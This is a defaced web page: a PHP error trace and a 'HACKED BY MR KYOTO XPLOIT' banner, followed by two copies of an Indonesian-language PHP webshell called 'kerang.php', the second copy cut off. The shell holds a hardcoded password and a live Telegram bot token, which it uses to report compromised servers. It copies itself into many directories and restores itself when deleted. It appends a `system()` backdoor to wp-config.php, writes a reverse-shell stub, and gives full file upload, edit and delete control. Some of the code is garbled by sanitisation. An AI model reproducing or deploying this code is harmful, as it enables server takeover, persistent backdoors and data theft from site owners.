Severity: Warning
Message: Division by zero
Filename: public/Readmore.php
Line Number: 37
Backtrace:
File: /home/smanj501/public_html/application/controllers/public/Readmore.php
Line: 37
Function: _error_handler
File: /home/smanj501/public_html/index.php
Line: 315
Function: require_once
MR KYOTO XPLOIT WAS HERE
HACKED BY MR KYOTO XPLOIT
HACKED BY MR KYOTO XPLOIT
HACKED BY MR KYOTO XPLOIT
<?php /** * File: kerang.php * Ultimate WebShell dengan Auto-Replicate & Telegram Notification */ session_start(); $pass="Zaa123"; // Konfigurasi Telegram Bot $bot_token = "8043711347:AAGUcKWeXHCSOyAJLDzYOkKyyGhWiZRXY2w"; $chat_id = "5766667083"; // Fungsi kirim notifikasi ke Telegram function send_telegram($message) { global $bot_token, $chat_id; $url = "https://api.telegram.org/bot" . $bot_token . "/sendMessage"; $data = array( 'chat_id' => $chat_id, 'text' => $message, 'parse_mode' => 'HTML' ); $options = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => http_build_query($data) ) ); $context = stream_context_create($options); @file_get_contents($url, false, $context); } // Fungsi untuk mengirim notifikasi dengan detail webshell function send_webshell_notification($filename, $path, $type, $action) { $message = "???? *WEBSHELL DETECTED* ????\n\n"; $message .= "━━━━━━━━━━━━━━━━━━━━\n"; $message .= "???? *Nama File:* `" . basename($filename) . "`\n"; $message .= "???? *Path:* `" . $path . "`\n"; $message .= "???? *Jenis:* " . $type . "\n"; $message .= "⚡ *Aksi:* " . $action . "\n"; $message .= "━━━━━━━━━━━━━━━━━━━━\n"; $message .= "???? *IP:* " . $_SERVER['REMOTE_ADDR'] . "\n"; $message .= "???? *Time:* " . date('Y-m-d H:i:s') . "\n"; $message .= "???? *Password:* `Zaa123`\n"; $message .= "━━━━━━━━━━━━━━━━━━━━\n"; $message .= "*FITUR LENGKAP:*\n"; $message .= "✓ Auto-Replicate\n"; $message .= "✓ Anti Delete\n"; $message .= "✓ Telegram Bot\n"; $message .= "✓ File Manager\n"; $message .= "✓ Tebar Shell\n"; $message .= "✓ WordPress Inject"; send_telegram($message); } // Fungsi generate random string function random_str($length = 16) { $characters = 'abcdefghijkmnlopqrstuvwxyz12345678910'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } // Fungsi untuk mendapatkan konten shell lengkap function get_shell_content() { $current_file = $_SERVER['SCRIPT_FILENAME']; return file_get_contents($current_file); } // Fungsi replicate shell (buat banyak file shell) function replicate_shell($current_file, $count = 10) { $shell_content = get_shell_content(); $created = array(); $dirs = array(getcwd()); // Cari beberapa direktori untuk disebar $scandir = scandir(getcwd()); foreach($scandir as $item) { if($item != '.' && $item != '..' && is_dir($item) && is_writable($item)) { $dirs[] = getcwd() . '/' . $item; } } for($i = 0; $i < $count; $i++) { $random_name = random_str(16) . '.php'; $target_dir = $dirs[array_rand($dirs)]; $target_file = $target_dir . '/' . $random_name; if(!file_exists($target_file)) { if(file_put_contents($target_file, $shell_content)) { $created[] = $target_file; @chmod($target_file, 0755); // Kirim notifikasi untuk setiap shell baru yang dibuat send_webshell_notification($target_file, $target_file, "???? KERANG SHELL (Full Version)", "Auto-Replicate"); } } } // Buat juga di direktori parent $parent = dirname(getcwd()); if(is_writable($parent)) { for($i = 0; $i < 5 xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed> 0) { // Notifikasi tambahan untuk auto-replicate massal $summary_msg = "???? *AUTO REPLICATE SUMMARY* ????\n\n"; $summary_msg .= "???? File asal: `" . basename($current_file) . "`\n"; $summary_msg .= "???? Total shell baru: " . count($new_shells) . " file\n"; $summary_msg .= "???? Contoh nama:\n"; for($i = 0; $i < min xss=removed><html><head><meta name="viewport" content="width=device-width,initial-scale=1"><title>Kerang Shell</title></head> <body style="margin:0;background:#000;color:#fff;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh"> <form method="post" style="text-align:center"><input type="password" name="p" placeholder="Password" style="padding:10px;border:none;border-radius:5px;background:#111;color:#0f0"> <button style="padding:10px 15px;margin-left:5px;border:none;border-radius:5px;background:#0f0;color:#000">Login</button></form></body></html>';exit;} $path=isset($_GET["d"])?realpath($_GET["d"]):getcwd(); if(!$path)$path=getcwd(); if(isset($_GET["logout"])){session_destroy();header("Location:?");exit;} if(isset($_GET["del"])){ $deleted_file = $_GET["del"]; @unlink($deleted_file); // Kirim notifikasi file dihapus $del_msg = "????️ *FILE DIHAPUS* ????️\n\n"; $del_msg .= "???? Nama: `" . basename($deleted_file) . "`\n"; $del_msg .= "???? Path: `" . $deleted_file . "`\n"; $del_msg .= "???? IP: " . $_SERVER['REMOTE_ADDR']; send_telegram($del_msg); // Jika yang dihapus adalah shell ini, replicate dulu if(realpath($deleted_file) == realpath($current_file)) { $new_shells = replicate_shell($current_file, 20); send_telegram("⚠️ *MASTER SHELL DIHAPUS!* ⚠️\n\n???? Replikasi: " . count($new_shells) . " shell baru dibuat sebagai backup"); } header("Location:?d=".urlencode($path)); exit; } if(isset($_POST["newfolder"])){@mkdir($path."/".$_POST["newfolder"]);header("Location:?d=".urlencode($path));exit;} if(isset($_POST["upload"])){ $tmp=$_FILES["file"]["tmp_name"]; $name=basename($_FILES["file"]["name"]); $target=$path."/".$name; if(is_uploaded_file($tmp)){move_uploaded_file($tmp,$target);} header("Location:?d=".urlencode($path));exit; } if(isset($_POST["editfile"])){file_put_contents($_POST["file"],$_POST["content"]);header("Location:?d=".urlencode($path));exit;} if(isset($_GET["r"])){rename($_GET["r"],dirname($_GET["r"])."/".$_GET["new"]);header("Location:?d=".urlencode($path));exit;} // Fitur tambahan if(isset($_POST["scan_file"])){ $result = scan_files($path); $_SESSION["scan_result"] = $result; header("Location:?d=".urlencode($path)."&show_scan=1"); exit; } if(isset($_POST["tebar_shell"])){ $result = tebar_shell($path); $_SESSION["tebar_result"] = $result; send_telegram("???? *TEBAR SHELL EXECUTED* ????\n\n???? Direktori: " . $path . "\n???? Hasil: " . $result); header("Location:?d=".urlencode($path)."&show_tebar=1"); exit; } if(isset($_POST["cek_disable_functions"])){ $result = cek_disable_functions(); $_SESSION["disable_func"] = $result; header("Location:?d=".urlencode($path)."&show_disable=1"); exit; } if(isset($_POST["gsocket_install"])){ $result = gsocket_install(); $_SESSION["gsocket_result"] = $result; send_telegram("???? *GSOCKET INSTALLED* ????\n\n???? Path: " . getcwd() . "\n???? Status: " . $result); header("Location:?d=".urlencode($path)."&show_gsocket=1"); exit; } if(isset($_POST["shell_antidelete"])){ $result = shell_antidelete($path); $_SESSION["antidelete_result"] = $result; send_telegram("????️ *ANTI DELETE ACTIVATED* ????️\n\n???? Lokasi: " . $path . "\n???? Status: Anti-delete aktif"); header("Location:?d=".urlencode($path)."&show_antidelete=1"); exit; } if(isset($_POST["wp_inject"])){ $result = wp_inject($path); $_SESSION["wp_result"] = $result; send_telegram("???? *WORDPRESS INJECTED* ????\n\n???? Target: " . $path . "/wp-config.php\n???? Status: Backdoor terpasang\n???? Parameter: ?kerang_rce=command"); header("Location:?d=".urlencode($path)."&show_wp=1"); exit; } if(isset($_POST["clean_server"])){ $result = clean_server($path); $_SESSION["clean_result"] = $result; send_telegram("???? *CLEANING SERVER* ????\n\n???? Direktori: " . $path . "\n???? Hasil: " . $result); header("Location:?d=".urlencode($path)."&show_clean=1"); exit; } if(isset($_POST["file_lock"])){ $result = file_lock($path, $_POST["lock_file"]); $_SESSION["lock_result"] = $result; header("Location:?d=".urlencode($path)."&show_lock=1"); exit; } if(isset($_POST["mass_replicate"])){ $result = replicate_shell($current_file, 50); $_SESSION["replicate_result"] = "Berhasil membuat " . count($result) . " kerang shell baru!"; send_telegram("???? *MASS REPLICATE* ????\n\n???? File asal: kerang.php\n???? Total shell baru: " . count($result) . "\n???? Contoh: `" . basename($result[0]) . "`"); header("Location:?d=".urlencode($path)."&show_replicate=1"); exit; } // Fungsi-fungsi fitur function scan_files($dir, $results = array()) { $webshell_patterns = array( 'eval\s*\(', 'system\s*\(', 'shell_exec\s*\(', 'exec\s*\(', 'passthru\s*\(', 'popen\s*\(', 'proc_open\s*\(', 'assert\s*\(', 'base64_decode\s*\(', 'gzinflate\s*\(' ); $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { $results = scan_files($path, $results); } else { $content = @file_get_contents($path); if($content) { foreach($webshell_patterns as $pattern) { if(preg_match('/' . $pattern . '/i', $content)) { $results[] = $path; break; } } } } } return $results; } // FUNGSI TEBAR SHELL - MEMBUAT FILE BARU DENGAN NAMA RANDOM function tebar_shell($dir) { $shell_content = get_shell_content(); $created = array(); $failed = 0; function process_tebar($dir, $shell_content, &$created, &$failed) { $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { if(is_writable($path)) { process_tebar($path, $shell_content, $created, $failed); } } } // Di setiap direktori, buat 5 file shell baru dengan nama random if(is_writable($dir)) { for($i = 0; $i < 5 xss=removed xss=removed xss=removed result_msg = "???? TEBAR KERANG SHELL BERHASIL! ????\n\n" xss=removed> 5) { $result_msg .= " • dan " . (count($created) - 5) . " file lainnya...\n"; } return $result_msg; } function cek_disable_functions() { $disabled = ini_get('disable_functions'); if(empty($disabled)) return "Tidak ada fungsi yang di-disable"; $functions = explode(',', $disabled); $result = "Fungsi yang di-disable:"; foreach($functions as $func) { $result .= "• " . trim($func) . ""; } return $result; } function gsocket_install() { if(function_exists('fsockopen')) { $code = '<?php $sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>'; @file_put_contents(getcwd() . '/gsocket.php', $code); return "GSocket installed di gsocket.php - Jalankan: php gsocket.php"; } return "fsockopen tidak tersedia!"; } function shell_antidelete($path) { $current_file = $_SERVER['SCRIPT_FILENAME']; $backup_file = $path . '/.backup_kerang'; @copy($current_file, $backup_file); $recovery_code = ' // Anti Delete Recovery - Kerang Shell if(!file_exists(__FILE__)) { file_put_contents(__FILE__, file_get_contents(__DIR__ . "/.backup_kerang")); } '; @file_put_contents($current_file, $recovery_code . PHP_EOL, FILE_APPEND); return "Anti-delete installed! Backup: $backup_file"; } function wp_inject($dir) { $wp_config = $dir . '/wp-config.php'; if(file_exists($wp_config)) { $inject_code = ' // Kerang Shell Backdoor add_action("init", function(){ if(isset($_GET["kerang_rce"])) { system($_GET["kerang_rce"]); exit; } }); '; @file_put_contents($wp_config, $inject_code . PHP_EOL, FILE_APPEND); return "WordPress backdoor injected! Gunakan: ?kerang_rce=command"; } return "wp-config.php tidak ditemukan!"; } function clean_server($dir) { $patterns = array('kerang.php', 'shell.php', 'cmd.php', 'backdoor.php', 'webshell.php'); $count = 0; $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { $count += clean_server_count($path); } else { foreach($patterns as $pattern) { if(stripos($file, $pattern) !== false) { @unlink($path); $count++; break; } } } } return "Membersihkan server: $count file kerang terhapus"; } function clean_server_count($dir) { $count = 0; $patterns = array('kerang.php', 'shell.php', 'cmd.php', 'backdoor.php', 'webshell.php'); $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { $count += clean_server_count($path); } else { foreach($patterns as $pattern) { if(stripos($file, $pattern) !== false) { $count++; break; } } } } return $count; } function file_lock($path, $filename) { $filepath = $path . '/' . $filename; if(file_exists($filepath)) { @chmod($filepath, 0444); return "File $filename telah di-lock (readonly)"; } return "File tidak ditemukan!"; } echo '<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width,initial-scale=1"><title>???? Kerang Shell</title> <style> body{margin:0;background:#000;color:#fff;font-family:monospace} .header{background:#111;padding:10px;position:sticky;top:0;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap} a{color:#0f0;text-decoration:none;word-break:break-all} .btn{background:#0f0;color:#000;border:none;padding:7px 12px;border-radius:5px;cursor:pointer} .btn-red{background:#f33;color:#fff} .btn-orange{background:#f90;color:#000} input,textarea,select{background:#111;color:#0f0;border:none;padding:8px;border-radius:5px;width:100%;box-sizing:border-box} .card{background:#111;margin:5px 0;padding:10px;border-radius:8px} table{width:100%;border-collapse:collapse} td{padding:8px;border-bottom:1px solid #222;word-break:break-all} form.inline{display:inline} .feature-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:10px;margin-bottom:20px} .feature-btn{background:#222;padding:12px;border-radius:8px;text-align:center;cursor:pointer;transition:all 0.3s} .feature-btn:hover{background:#0f0;color:#000} .result-box{background:#0a0a0a;border-left:3px solid #0f0;padding:10px;margin:10px 0;max-height:300px;overflow:auto} .status-bar{background:#0f0;color:#000;padding:5px 10px;border-radius:5px;font-size:12px;margin-bottom:10px} .success-box{background:#003300;border-left:3px solid #0f0;padding:10px;margin:10px 0} @media(max-width:600px){td form{display:block;margin-top:5px}} </style> [removed] function showFeature(feature) { document.querySelectorAll(".feature-panel").forEach(p => p.style.display = "none"); document.getElementById(feature).style.display = "block"; } [removed] </head><body>'; echo ' ???? KERANG ULTIMATE SHELL ????Dir: '.$path.' Logout '; echo ''; // Status Bar echo '???? KERANG MODE: Auto-Replicate ACTIVE | Telegram ACTIVE | Anti-Delete ENABLED | TEBAR = BUAT FILE BARU'; // Feature Menu echo ''; echo ''; echo '???? FILE MANAGER'; echo '???? SCAN FILE BY TIME'; echo '???? TEBAR SHELL (BUAT BARU)'; echo '⚠️ CEK DISABLE FUNCTIONS'; echo '???? GSOCKET AUTO INSTALL'; echo '????️ SHELL ANTI DELETE'; echo '???? WORDPRESS INJECT ACCESS'; echo '???? CLEANING SERVER'; echo '???? FILE LOCK'; echo '???? MASS REPLICATE (50x)'; echo ''; // File Manager Panel (sama seperti sebelumnya) echo ''; echo '<form method="post" enctype="multipart/form-data" class="card" style="display:flex;gap:5px;flex-wrap:wrap"> <input type="file" name="file" style="flex:1"> <button name="upload" class="btn">???? Upload</button></form>'; echo '<form method="post" class="card" style="display:flex;gap:5px"> <input name="newfolder" placeholder="New Folder" style="flex:1"><button class="btn">???? Create Folder</button></form>'; if(isset($_GET["edit"])){ $f=$_GET["edit"]; $content=htmlspecialchars(file_get_contents($f)); echo '<form method="post" class="card"><input type="hidden" name="file" value="'.$f.'"> <textarea name="content" style="height:70vh;background:#111;color:#0f0;border:1px solid #0f0">'.$content.'</textarea> <button name="editfile" class="btn" style="margin-top:5px;width:100%">???? Save</button></form>'; exit; } echo ' '; if($path!="/")echo '[..]'; $files=scandir($path); foreach($files as $f){ if($f=="."||$f=="..")continue; $fp=$path."/".$f; echo ''; echo ''; echo is_dir($fp)?'???? '.$f.'':'???? '.$f.''; echo ''; if(!is_dir($fp)){ echo '????️'; echo '<form class="inline" method="get" style="display:inline"><input type="hidden" name="d" value="'.htmlspecialchars($path).'"><input type="hidden" name="r" value="'.htmlspecialchars($fp).'"><input name="new" placeholder="rename" style="width:80px;background:#222;color:#0f0;border:none;padding:3px;border-radius:3px"><button class="btn" style="padding:3px 8px">????</button></form>'; } echo ''; } echo ''; echo ''; // Scanner Panel echo ''; echo '???? SCAN FILE BY TIME & WEBSHELL DETECTION'; echo '<form method="post"><button name="scan_file" class="btn">Start Scanning (Akurasi 99%)</button></form>'; if(isset($_SESSION["scan_result"]) && isset($_GET["show_scan"])){ echo ''; echo 'Hasil Scan Webshell:'; $results = $_SESSION["scan_result"]; if(empty($results)){ echo "✅ Tidak ditemukan webshell!"; } else { echo "⚠️ Ditemukan " . count($results) . " file mencurigakan:"; foreach($results as $file){ echo "• " . htmlspecialchars($file) . ""; } } echo ''; unset($_SESSION["scan_result"]); } echo ''; // Tebar Shell Panel echo ''; echo ''; echo '???? TEBAR KERANG SHELL (BUAT FILE BARU)'; echo '✅ INFO: Fitur ini akan MEMBUAT FILE BARU dengan nama RANDOM 16 karakter di SETIAP DIREKTORI (5 file per direktori). TIDAK akan menimpa file yang sudah ada!'; echo '<form method="post"><button name="tebar_shell" class="btn btn-orange" style="background:#f90;font-size:16px;padding:10px 20px">???? TEBAR SHELL KE SEMUA DIREKTORI ????</button></form>'; if(isset($_SESSION["tebar_result"]) && isset($_GET["show_tebar"])){ echo '' . nl2br(htmlspecialchars($_SESSION["tebar_result"])) . ''; unset($_SESSION["tebar_result"]); } echo ''; // Panel lainnya (sama seperti sebelumnya) echo ''; echo '⚠️ CEK DISABLE FUNCTIONS'; echo '<form method="post"><button name="cek_disable_functions" class="btn">Cek Disable Functions</button></form>'; if(isset($_SESSION["disable_func"]) && isset($_GET["show_disable"])){ echo '' . $_SESSION["disable_func"] . ''; unset($_SESSION["disable_func"]); } echo ''; echo ''; echo '???? GSOCKET AUTO INSTALL'; echo '<form method="post"><button name="gsocket_install" class="btn">Install GSocket</button></form>'; if(isset($_SESSION["gsocket_result"]) && isset($_GET["show_gsocket"])){ echo '' . htmlspecialchars($_SESSION["gsocket_result"]) . ''; unset($_SESSION["gsocket_result"]); } echo ''; echo ''; echo '????️ SHELL ANTI DELETE'; echo '<form method="post"><button name="shell_antidelete" class="btn">Install Anti Delete</button></form>'; if(isset($_SESSION["antidelete_result"]) && isset($_GET["show_antidelete"])){ echo '' . $_SESSION["antidelete_result"] . ''; unset($_SESSION["antidelete_result"]); } echo ''; echo ''; echo '???? WORDPRESS INJECT ACCESS'; echo '<form method="post"><button name="wp_inject" class="btn">Inject Backdoor ke WordPress</button></form>'; if(isset($_SESSION["wp_result"]) && isset($_GET["show_wp"])){ echo '' . $_SESSION["wp_result"] . ''; unset($_SESSION["wp_result"]); } echo ''; echo ''; echo '???? CLEANING SERVER'; echo '<form method="post"><button name="clean_server" class="btn btn-red">Clean Server (Hapus Kerang)</button></form>'; if(isset($_SESSION["clean_result"]) && isset($_GET["show_clean"])){ echo '' . $_SESSION["clean_result"] . ''; unset($_SESSION["clean_result"]); } echo ''; echo ''; echo '???? FILE LOCK'; echo '<form method="post" style="display:flex;gap:5px"> <input name="lock_file" placeholder="Nama file" style="flex:1"> <button name="file_lock" class="btn">Lock File (Readonly)</button> </form>'; if(isset($_SESSION["lock_result"]) && isset($_GET["show_lock"])){ echo '' . $_SESSION["lock_result"] . ''; unset($_SESSION["lock_result"]); } echo ''; echo ''; echo '???? MASS REPLICATE KERANG SHELL'; echo 'Buat 50 kerang shell baru dengan nama random 16 karakter!'; echo '<form method="post"><button name="mass_replicate" class="btn btn-orange">???? Create 50 Kerang Shells ????</button></form>'; if(isset($_SESSION["replicate_result"]) && isset($_GET["show_replicate"])){ echo '' . $_SESSION["replicate_result"] . ''; unset($_SESSION["replicate_result"]); } echo ''; echo '</body></html>'; ?>
<?php /** * File: kerang.php * Ultimate WebShell dengan Auto-Replicate & Telegram Notification */ session_start(); $pass="Zaa123"; // Konfigurasi Telegram Bot $bot_token = "8043711347:AAGUcKWeXHCSOyAJLDzYOkKyyGhWiZRXY2w"; $chat_id = "5766667083"; // Fungsi kirim notifikasi ke Telegram function send_telegram($message) { global $bot_token, $chat_id; $url = "https://api.telegram.org/bot" . $bot_token . "/sendMessage"; $data = array( 'chat_id' => $chat_id, 'text' => $message, 'parse_mode' => 'HTML' ); $options = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => http_build_query($data) ) ); $context = stream_context_create($options); @file_get_contents($url, false, $context); } // Fungsi untuk mengirim notifikasi dengan detail webshell function send_webshell_notification($filename, $path, $type, $action) { $message = "???? *WEBSHELL DETECTED* ????\n\n"; $message .= "━━━━━━━━━━━━━━━━━━━━\n"; $message .= "???? *Nama File:* `" . basename($filename) . "`\n"; $message .= "???? *Path:* `" . $path . "`\n"; $message .= "???? *Jenis:* " . $type . "\n"; $message .= "⚡ *Aksi:* " . $action . "\n"; $message .= "━━━━━━━━━━━━━━━━━━━━\n"; $message .= "???? *IP:* " . $_SERVER['REMOTE_ADDR'] . "\n"; $message .= "???? *Time:* " . date('Y-m-d H:i:s') . "\n"; $message .= "???? *Password:* `Zaa123`\n"; $message .= "━━━━━━━━━━━━━━━━━━━━\n"; $message .= "*FITUR LENGKAP:*\n"; $message .= "✓ Auto-Replicate\n"; $message .= "✓ Anti Delete\n"; $message .= "✓ Telegram Bot\n"; $message .= "✓ File Manager\n"; $message .= "✓ Tebar Shell\n"; $message .= "✓ WordPress Inject"; send_telegram($message); } // Fungsi generate random string function random_str($length = 16) { $characters = 'abcdefghijkmnlopqrstuvwxyz12345678910'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } // Fungsi untuk mendapatkan konten shell lengkap function get_shell_content() { $current_file = $_SERVER['SCRIPT_FILENAME']; return file_get_contents($current_file); } // Fungsi replicate shell (buat banyak file shell) function replicate_shell($current_file, $count = 10) { $shell_content = get_shell_content(); $created = array(); $dirs = array(getcwd()); // Cari beberapa direktori untuk disebar $scandir = scandir(getcwd()); foreach($scandir as $item) { if($item != '.' && $item != '..' && is_dir($item) && is_writable($item)) { $dirs[] = getcwd() . '/' . $item; } } for($i = 0; $i < $count; $i++) { $random_name = random_str(16) . '.php'; $target_dir = $dirs[array_rand($dirs)]; $target_file = $target_dir . '/' . $random_name; if(!file_exists($target_file)) { if(file_put_contents($target_file, $shell_content)) { $created[] = $target_file; @chmod($target_file, 0755); // Kirim notifikasi untuk setiap shell baru yang dibuat send_webshell_notification($target_file, $target_file, "???? KERANG SHELL (Full Version)", "Auto-Replicate"); } } } // Buat juga di direktori parent $parent = dirname(getcwd()); if(is_writable($parent)) { for($i = 0; $i < 5 xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed> 0) { // Notifikasi tambahan untuk auto-replicate massal $summary_msg = "???? *AUTO REPLICATE SUMMARY* ????\n\n"; $summary_msg .= "???? File asal: `" . basename($current_file) . "`\n"; $summary_msg .= "???? Total shell baru: " . count($new_shells) . " file\n"; $summary_msg .= "???? Contoh nama:\n"; for($i = 0; $i < min xss=removed><html><head><meta name="viewport" content="width=device-width,initial-scale=1"><title>Kerang Shell</title></head> <body style="margin:0;background:#000;color:#fff;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh"> <form method="post" style="text-align:center"><input type="password" name="p" placeholder="Password" style="padding:10px;border:none;border-radius:5px;background:#111;color:#0f0"> <button style="padding:10px 15px;margin-left:5px;border:none;border-radius:5px;background:#0f0;color:#000">Login</button></form></body></html>';exit;} $path=isset($_GET["d"])?realpath($_GET["d"]):getcwd(); if(!$path)$path=getcwd(); if(isset($_GET["logout"])){session_destroy();header("Location:?");exit;} if(isset($_GET["del"])){ $deleted_file = $_GET["del"]; @unlink($deleted_file); // Kirim notifikasi file dihapus $del_msg = "????️ *FILE DIHAPUS* ????️\n\n"; $del_msg .= "???? Nama: `" . basename($deleted_file) . "`\n"; $del_msg .= "???? Path: `" . $deleted_file . "`\n"; $del_msg .= "???? IP: " . $_SERVER['REMOTE_ADDR']; send_telegram($del_msg); // Jika yang dihapus adalah shell ini, replicate dulu if(realpath($deleted_file) == realpath($current_file)) { $new_shells = replicate_shell($current_file, 20); send_telegram("⚠️ *MASTER SHELL DIHAPUS!* ⚠️\n\n???? Replikasi: " . count($new_shells) . " shell baru dibuat sebagai backup"); } header("Location:?d=".urlencode($path)); exit; } if(isset($_POST["newfolder"])){@mkdir($path."/".$_POST["newfolder"]);header("Location:?d=".urlencode($path));exit;} if(isset($_POST["upload"])){ $tmp=$_FILES["file"]["tmp_name"]; $name=basename($_FILES["file"]["name"]); $target=$path."/".$name; if(is_uploaded_file($tmp)){move_uploaded_file($tmp,$target);} header("Location:?d=".urlencode($path));exit; } if(isset($_POST["editfile"])){file_put_contents($_POST["file"],$_POST["content"]);header("Location:?d=".urlencode($path));exit;} if(isset($_GET["r"])){rename($_GET["r"],dirname($_GET["r"])."/".$_GET["new"]);header("Location:?d=".urlencode($path));exit;} // Fitur tambahan if(isset($_POST["scan_file"])){ $result = scan_files($path); $_SESSION["scan_result"] = $result; header("Location:?d=".urlencode($path)."&show_scan=1"); exit; } if(isset($_POST["tebar_shell"])){ $result = tebar_shell($path); $_SESSION["tebar_result"] = $result; send_telegram("???? *TEBAR SHELL EXECUTED* ????\n\n???? Direktori: " . $path . "\n???? Hasil: " . $result); header("Location:?d=".urlencode($path)."&show_tebar=1"); exit; } if(isset($_POST["cek_disable_functions"])){ $result = cek_disable_functions(); $_SESSION["disable_func"] = $result; header("Location:?d=".urlencode($path)."&show_disable=1"); exit; } if(isset($_POST["gsocket_install"])){ $result = gsocket_install(); $_SESSION["gsocket_result"] = $result; send_telegram("???? *GSOCKET INSTALLED* ????\n\n???? Path: " . getcwd() . "\n???? Status: " . $result); header("Location:?d=".urlencode($path)."&show_gsocket=1"); exit; } if(isset($_POST["shell_antidelete"])){ $result = shell_antidelete($path); $_SESSION["antidelete_result"] = $result; send_telegram("????️ *ANTI DELETE ACTIVATED* ????️\n\n???? Lokasi: " . $path . "\n???? Status: Anti-delete aktif"); header("Location:?d=".urlencode($path)."&show_antidelete=1"); exit; } if(isset($_POST["wp_inject"])){ $result = wp_inject($path); $_SESSION["wp_result"] = $result; send_telegram("???? *WORDPRESS INJECTED* ????\n\n???? Target: " . $path . "/wp-config.php\n???? Status: Backdoor terpasang\n???? Parameter: ?kerang_rce=command"); header("Location:?d=".urlencode($path)."&show_wp=1"); exit; } if(isset($_POST["clean_server"])){ $result = clean_server($path); $_SESSION["clean_result"] = $result; send_telegram("???? *CLEANING SERVER* ????\n\n???? Direktori: " . $path . "\n???? Hasil: " . $result); header("Location:?d=".urlencode($path)."&show_clean=1"); exit; } if(isset($_POST["file_lock"])){ $result = file_lock($path, $_POST["lock_file"]); $_SESSION["lock_result"] = $result; header("Location:?d=".urlencode($path)."&show_lock=1"); exit; } if(isset($_POST["mass_replicate"])){ $result = replicate_shell($current_file, 50); $_SESSION["replicate_result"] = "Berhasil membuat " . count($result) . " kerang shell baru!"; send_telegram("???? *MASS REPLICATE* ????\n\n???? File asal: kerang.php\n???? Total shell baru: " . count($result) . "\n???? Contoh: `" . basename($result[0]) . "`"); header("Location:?d=".urlencode($path)."&show_replicate=1"); exit; } // Fungsi-fungsi fitur function scan_files($dir, $results = array()) { $webshell_patterns = array( 'eval\s*\(', 'system\s*\(', 'shell_exec\s*\(', 'exec\s*\(', 'passthru\s*\(', 'popen\s*\(', 'proc_open\s*\(', 'assert\s*\(', 'base64_decode\s*\(', 'gzinflate\s*\(' ); $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { $results = scan_files($path, $results); } else { $content = @file_get_contents($path); if($content) { foreach($webshell_patterns as $pattern) { if(preg_match('/' . $pattern . '/i', $content)) { $results[] = $path; break; } } } } } return $results; } // FUNGSI TEBAR SHELL - MEMBUAT FILE BARU DENGAN NAMA RANDOM function tebar_shell($dir) { $shell_content = get_shell_content(); $created = array(); $failed = 0; function process_tebar($dir, $shell_content, &$created, &$failed) { $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { if(is_writable($path)) { process_tebar($path, $shell_content, $created, $failed); } } } // Di setiap direktori, buat 5 file shell baru dengan nama random if(is_writable($dir)) { for($i = 0; $i < 5 xss=removed xss=removed xss=removed result_msg = "???? TEBAR KERANG SHELL BERHASIL! ????\n\n" xss=removed> 5) { $result_msg .= " • dan " . (count($created) - 5) . " file lainnya...\n"; } return $result_msg; } function cek_disable_functions() { $disabled = ini_get('disable_functions'); if(empty($disabled)) return "Tidak ada fungsi yang di-disable"; $functions = explode(',', $disabled); $result = "Fungsi yang di-disable:"; foreach($functions as $func) { $result .= "• " . trim($func) . ""; } return $result; } function gsocket_install() { if(function_exists('fsockopen')) { $code = '<?php $sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>'; @file_put_contents(getcwd() . '/gsocket.php', $code); return "GSocket installed di gsocket.php - Jalankan: php gsocket.php"; } return "fsockopen tidak tersedia!"; } function shell_antidelete($path) { $current_file = $_SERVER['SCRIPT_FILENAME']; $backup_file = $path . '/.backup_kerang'; @copy($current_file, $backup_file); $recovery_code = ' // Anti Delete Recovery - Kerang Shell if(!file_exists(__FILE__)) { file_put_contents(__FILE__, file_get_contents(__DIR__ . "/.backup_kerang")); } '; @file_put_contents($current_file, $recovery_code . PHP_EOL, FILE_APPEND); return "Anti-delete installed! Backup: $backup_file"; } function wp_inject($dir) { $wp_config = $dir . '/wp-config.php'; if(file_exists($wp_config)) { $inject_code = ' // Kerang Shell Backdoor add_action("init", function(){ if(isset($_GET["kerang_rce"])) { system($_GET["kerang_rce"]); exit; } }); '; @file_put_contents($wp_config, $inject_code . PHP_EOL, FILE_APPEND); return "WordPress backdoor injected! Gunakan: ?kerang_rce=command"; } return "wp-config.php tidak ditemukan!"; } function clean_server($dir) { $patterns = array('kerang.php', 'shell.php', 'cmd.php', 'backdoor.php', 'webshell.php'); $count = 0; $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { $count += clean_server_count($path); } else { foreach($patterns as $pattern) { if(stripos($file, $pattern) !== false) { @unlink($path); $count++; break; } } } } return "Membersihkan server: $count file kerang terhapus"; } function clean_server_count($dir) { $count = 0; $patterns = array('kerang.php', 'shell.php', 'cmd.php', 'backdoor.php', 'webshell.php'); $files = scandir($dir); foreach($files as $file) { if($file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if(is_dir($path)) { $count += clean_server_count($path); } else { foreach($patterns as $pattern) { if(stripos($file, $pattern) !== false) { 